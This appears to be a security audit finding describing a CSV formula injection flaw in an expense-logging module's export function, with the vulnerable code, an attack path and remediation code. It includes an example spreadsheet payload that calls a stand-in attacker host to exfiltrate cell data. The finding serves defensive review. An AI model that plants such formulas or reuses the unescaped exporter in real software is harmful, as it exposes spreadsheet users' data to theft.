T09 · Insecure Skill Coding Practices
- Location
src/expense-log.js:65- Finding
CSV Formula Injection Through User-Controlled Expense Fields
- Content
View full analysis
Vulnerability Details
File Location:
src/expense-log.js, lines 65–69
Vulnerability Type: CSV formula injection
Risk Level: Mediumjavascript export(month) { const m = month || new Date().toISOString().slice(0, 7); const monthly = this.expenses.filter(e => e.date.startsWith(m)); const csv = 'Date,Amount,Category,Description\n' + monthly.map(e => `${e.date},${e.amount},${e.category},"${e.description.replace(/"/g, '""')}"`).join('\n'); return csv; }Technical Analysis
The CSV exporter inserts the user-controlled
categoryanddescriptionfields into spreadsheet cells without neutralizing formula-triggering prefixes. Escaping double quotes in the description provides CSV syntax escaping but does not prevent spreadsheet applications from interpreting values beginning with=,+,-, or@as formulas.The category is also user-controlled through
add(amount, description, category)and is exported without either CSV quoting or formula neutralization. Leading whitespace, tabs, carriage returns, and similar control characters can sometimes be used to bypass simplistic prefix checks.A malicious value such as
=WEBSERVICE("https://attacker.example/collect?data="&A1)may therefore be evaluated when the exported file is opened in a compatible spreadsheet application.Attack Path
- An attacker or untrusted input source supplies an expense description or explicit category containing a spreadsheet formula.
- The
add()method stores the value in the local expense data without validation or formula neutralization. - The user invokes
export(), which places the value directly into the generated CSV. - The user opens the CSV in spreadsheet software.
- If that software evaluates CSV cells as formulas, the injected expression executes in the spreadsheet user's context.
Impact Assessment
Exploitation does not directly grant privileges within the Node.js proc ...[truncated 467 chars]
- Remediation
View remediation
Remediation Suggestions
Apply both standards-compliant CSV escaping and spreadsheet-formula neutralization to every exported field that can contain untrusted data.
- Convert each value to a string and quote it according to CSV rules.
- After accounting for leading whitespace and control characters, detect values whose first meaningful character is
=,+,-, or@. - Prefix dangerous values with an apostrophe or another neutralization mechanism appropriate for the supported spreadsheet applications.
- Apply the protection to both
descriptionand explicitly suppliedcategoryvalues rather than only escaping quotation marks. - Consider using a maintained CSV library, but verify that it explicitly supports spreadsheet-formula injection mitigation because ordinary CSV escaping alone is insufficient.
- Add tests covering dangerous prefixes, leading spaces, tabs, carriage returns, embedded quotes, commas, and newlines.
Example defensive approach:
javascript function safeCsvCell(value) { let text = String(value ?? ''); if (/^[\s\x00-\x1F]*[=+\-@]/.test(text)) { text = `'${text}`; } return `"${text.replace(/"/g, '""')}"`; } const csv = 'Date,Amount,Category,Description\n' + monthly.map(e => [ e.date, e.amount, e.category, e.description ].map(safeCsvCell).join(',')).join('\n');
